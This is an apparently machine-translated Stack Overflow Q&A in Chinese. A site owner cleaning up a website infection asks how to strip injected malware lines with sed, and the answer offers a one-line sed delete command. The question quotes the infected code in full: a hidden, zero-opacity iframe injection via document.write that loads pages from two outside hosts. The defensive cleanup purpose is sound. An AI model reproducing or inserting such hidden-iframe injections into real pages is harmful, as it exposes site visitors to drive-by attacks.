我正在帮助某人清除网站上的恶意软件感染,我很难正确匹配sed中的某些字符串,因此我可以创建一个脚本来进行大规模搜索并替换/删除它。
字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

我好像想不出怎么逃过那些台词里的各种角色…
如果我只想说delete the entire line if it matcheshttp://vidintex.com/includes/class.pop.php它还会删除</body>文件中关闭的html.html
所以我需要能够匹配sed中的这一行:
    <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

任何帮助都将不胜感激!

最佳答案

您可以尝试执行以下操作:

sed -i '/vidintex.com\/includes\/class.pop.php/d' files*

这将删除包含vidintex.com/includes/class.pop.php的所有行

关于linux - 清理iframe恶意软件,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/13040532/

10-11 07:59